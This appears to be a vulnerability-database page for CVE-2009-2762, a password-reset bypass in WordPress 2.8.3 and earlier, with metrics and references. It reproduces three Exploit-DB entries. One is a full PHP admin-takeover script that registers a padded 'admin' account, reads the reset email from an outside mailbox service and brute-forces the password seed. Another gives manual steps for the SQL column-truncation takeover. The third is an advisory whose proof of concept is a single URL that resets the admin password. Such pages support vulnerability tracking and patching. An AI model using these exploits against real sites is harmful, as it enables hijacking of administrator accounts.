CVE-2009-2762 : Detail

CVE-2009-2762

A07-Identif. and Authent. Fail
66.67%V3
Network
2009-08-13
14h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

wp-login.php in WordPress 2.8.3 and earlier allows remote attackers to force a password reset for the first user in the database, possibly the administrator, via a key[] array variable in a resetpass (aka rp) action, which bypasses a check that assumes that $key is not an array.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-255 Category : Credentials Management Errors
Weaknesses in this category are related to the management of credentials.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 6421

Publication date : 2008-09-09 22h00 +00:00
Author : iso^kpsbr
EDB Verified : Yes

#!/usr/bin/php <?php # ------------------------------------------------------------ # quick'n'dirty wordpress admin-take0ver poc # by iso^kpsbr in august 2oo8 # # works w/ wordpress 2.6.1 # # .oO( private -- do not spread! )Oo. # # you'll have to make sure you run roughly the same # php version as on the server, that is: if server # is >=5.2.1 you'll need to be as well, in case # server is <5.2.1, your php also needs to be below. # to make sure it works you'll need the exact same version! # also, mod_php works better than (f)cgi.. # (this is a first working version - not a very reliable one) # # you should create rainbow tables to make this work in a # real world scenario: # php-5.2.0/php createtables.php > wp261_php520 # php-5.2.1/php createtables.php > wp261_php521 # #------------------------------------------------------------- $BLOG = $_SERVER['argv'][1]; echo "[+] w0rdpress 2.6.1. admin takeover, iso 0808\n"; if(!$BLOG) { echo "[!] Usage: ".$_SERVER['argv'][0]." blogurl\n"; echo " fe: ".$_SERVER['argv'][0]." http://31337.biz/blog\n"; exit; } $UA = "WordpressAdminTakeover"; $MBOX="wp".`ps|md5sum|head -c 8`; $EMAIL="[email protected]"; echo (file_exists('wp261_php520') && file_exists('wp261_php521')) ? "[X] rainbow tables available\n" : "[!] rainbow tables not found - this will be really slow\n"; set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",20); if(!preg_match('!http://([^/]+)(.*)$!', $BLOG, $match)) { die("[!] $BLOG is no valid URL\n"); } $HOST = $match[1]; $PATH = $match[2]; if(!$PATH) $PATH='/'; echo "[-] registering new admin user\n"; $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n"); $data = "user_login=admin".str_repeat("%20",60)."x&user_email=$EMAIL"; $req = "POST $PATH/wp-login.php?action=register HTTP/1.1\r\nHost: $HOST\r\nUser-Agent: $UA\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data; fputs($suck, $req); sleep(1); fclose($suck); echo "[-] requesting resetlink and mail to '$EMAIL'\n"; $suck = fsockopen($HOST, 80) or die("[!] could not connect to $HOST:80\n"); $data="user_login=$EMAIL&wp-submit=Get+New+Password"; $req = "POST $PATH/wp-login.php?action=lostpassword HTTP/1.1\r\nHost: $HOST\r\nReferer: $BLOG/wp-login.php?action=lostpassword\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data)."\r\n\r\n".$data."\r\n"; fputs($suck, $req); echo "[.] giving $BLOG some time to deliver mail..\n"; for($i=0;$i<8;$i++) { fputs($suck,"GET / HTTP/1.1\r\nHost: $HOST\r\nConnection: keep-alive\r\nKeep-Alive: 300\r\n\r\n"); sleep(2); } echo "[-] fetching resetlink token $MBOX\n"; $PAGE = file_get_contents("http://www.nospamfor.us/mailbox.php?mailbox=$MBOX&sitename=nospamfor.us"); if(!preg_match('/.+mailid=(\d+).+?Reset/s', $PAGE, $match)) die("[!] failed to find resetmail try raising the wait-time right above\n"); $MAILID=$match[1]; echo "[-] fetching resetmail $MAILID\n"; $WHOLEMAIL=file_get_contents("http://www.nospamfor.us/mail.php?mailid=$MAILID&sitename=nospamfor.us&mailbox=$MBOX"); if(!preg_match('/key=([A-z0-9]+)/', $WHOLEMAIL, $match)) die("[!] could not find resetkey in $WHOLEMAIL\n"); $KEY=$match[1]; echo "[X] found resetkey $KEY\n"; echo "[-] resetting password\n"; $req = "GET $PATH/wp-login.php?action=rp&key=$KEY HTTP/1.1\r\nHost: $HOST\r\nUser-Agent:$UA\r\nConnection: close\r\n\r\n"; fputs($suck, $req); while(!feof($suck)) { #echo "D:". fgets($suck); } fclose($suck); echo "[-] calculating password\n"; $SEED=false; if(file_exists('wp261_php520')) { $SEED=`grep -F $KEY wp261*|cut -d : -f 1`; echo "[X] got seed $SEED from rainbow table\n"; } $PASSWORD=calcpass($KEY, $SEED); echo "[X] all done."; exit; function calcpass($resetkey, $seed = false) { mt_srand(2); $a = mt_rand(); mt_srand(3); $b = mt_rand(); define('BUGGY', $a == $b); echo "[-] wpress password computation. runnig in ".(BUGGY?'fast':'slow')." mode\n"; echo "[+] got key $resetkey via mail\n"; if(!$seed) $seed = getseed($resetkey); if($seed===false) die("[!] seed not found :( try using identical php version (< 5.2.5)\n"); mt_srand($seed); echo "[-] seed for key ".wp_generate_password(20,false)." is $seed\n"; $pass = wp_generate_password(); echo "[+] new credentials are admin:$pass\n"; return $pass; } function wp_generate_password($length = 12, $special_chars = true) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $password; } function getseed($resetkey) { echo "[-] calculating rand seed for $resetkey (this will take a looong time)"; $max = pow(2,(32-BUGGY)); for($x=0;$x<=$max;$x++) { $seed = BUGGY ? ($x << 1) + 1 : $x; mt_srand($seed); $testkey = wp_generate_password(20,false); if($testkey==$resetkey) { echo "o\n"; return $seed; } if(!($x % 10000)) echo "."; } echo "\n"; return false; } ?> # milw0rm.com [2008-09-10]
Exploit Database EDB-ID : 6397

Publication date : 2008-09-06 22h00 +00:00
Author : irk4z
EDB Verified : Yes

# WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC) # # found by irk4z[at]yahoo.pl # homepage: http://irk4z.wordpress.com/ # # this is not critical vuln [; # # first, read this discovery: # http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/ # # in this hack we can remote change admin password, if registration enabled # # greets: Stefan Esser, Lukasz Pilorz, cOndemned, tbh, sid.psycho, str0ke and all fiends 1. go to url: server.com/wp-login.php?action=register 2. register as: login: admin x email: your email ^ admin[55 space chars]x now, we have duplicated 'admin' account in database 3. go to url: server.com/wp-login.php?action=lostpassword 4. write your email into field and submit this form 5. check your email and go to reset confirmation link 6. admin's password changed, but new password will be send to correct admin email ;/ # milw0rm.com [2008-09-07]
Exploit Database EDB-ID : 9410

Publication date : 2009-08-10 22h00 +00:00
Author : laurent gaffié
EDB Verified : Yes

============================================= - Release date: August 10th, 2009 - Discovered by: Laurent Gaffié - Severity: Medium ============================================= I. VULNERABILITY ------------------------- WordPress <= 2.8.3 Remote admin reset password II. BACKGROUND ------------------------- WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time. More simply, WordPress is what you use when you want to work with your blogging software, not fight it. III. DESCRIPTION ------------------------- The way Wordpress handle a password reset looks like this: You submit your email adress or username via this form /wp-login.php?action=lostpassword ; Wordpress send you a reset confirmation like that via email: " Someone has asked to reset the password for the following site and username. http://DOMAIN_NAME.TLD/wordpress Username: admin To reset your password visit the following address, otherwise just ignore this email and nothing will happen http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag " You click on the link, and then Wordpress reset your admin password, and sends you over another email with your new credentials. Let's see how it works: wp-login.php: ...[snip].... line 186: function reset_password($key) { global $wpdb; $key = preg_replace('/[^a-z0-9]/i', '', $key); if ( empty( $key ) ) return new WP_Error('invalid_key', __('Invalid key')); $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key)); if ( empty( $user ) ) return new WP_Error('invalid_key', __('Invalid key')); ...[snip].... line 276: $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset($_GET['key']) ) $action = 'resetpass'; // validate action so as to default to the login screen if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) ) $action = 'login'; ...[snip].... line 370: break; case 'resetpass' : case 'rp' : $errors = reset_password($_GET['key']); if ( ! is_wp_error($errors) ) { wp_redirect('wp-login.php?checkemail=newpass'); exit(); } wp_redirect('wp-login.php?action=lostpassword&error=invalidkey'); exit(); break; ...[snip ]... You can abuse the password reset function, and bypass the first step and then reset the admin password by submiting an array to the $key variable. IV. PROOF OF CONCEPT ------------------------- A web browser is sufficiant to reproduce this Proof of concept: http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]= The password will be reset without any confirmation. V. BUSINESS IMPACT ------------------------- An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3 VI. SYSTEMS AFFECTED ------------------------- All VII. SOLUTION ------------------------- No patch aviable for the moment. VIII. REFERENCES ------------------------- http://www.wordpress.org IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discovered by Maksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38 X. REVISION HISTORY ------------------------- August 10th, 2009: Initial release XI. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. # milw0rm.com [2009-08-11]

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 2.8.3

References

http://www.exploit-db.com/exploits/9410
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/36014
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id?1022707
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/36237
Tags : third-party-advisory, x_refsource_SECUNIA